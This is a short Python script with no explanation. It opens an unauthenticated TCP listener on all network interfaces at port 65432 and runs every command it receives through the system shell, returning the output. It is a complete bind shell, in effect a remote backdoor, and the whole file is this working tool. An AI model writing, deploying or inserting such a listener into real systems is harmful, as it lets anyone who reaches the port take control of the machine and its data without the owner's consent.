
import socket
import os
import subprocess

def start_server(host='0.0.0.0', port=65432):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind((host, port))
        s.listen()
        print(f"Server listening on {host}:{port}")
        conn, addr = s.accept()
        with conn:
            print(f"Connected by {addr}")
            while True:
                current_dir = os.getcwd()
                conn.sendall(f"{current_dir}> ".encode())
                data = conn.recv(1024).decode().strip()
                if not data:
                    break
                if data.lower() == 'exit':
                    break
                if data.startswith("cd "):
                    try:
                        os.chdir(data[3:])
                        output = "[server]Changed"
                    except Exception as e:
                        output = str(e)
                else:
                    try:
                        output = subprocess.getoutput(data)
                    except Exception as e:
                        output = str(e)
                conn.sendall(output.encode())

start_server()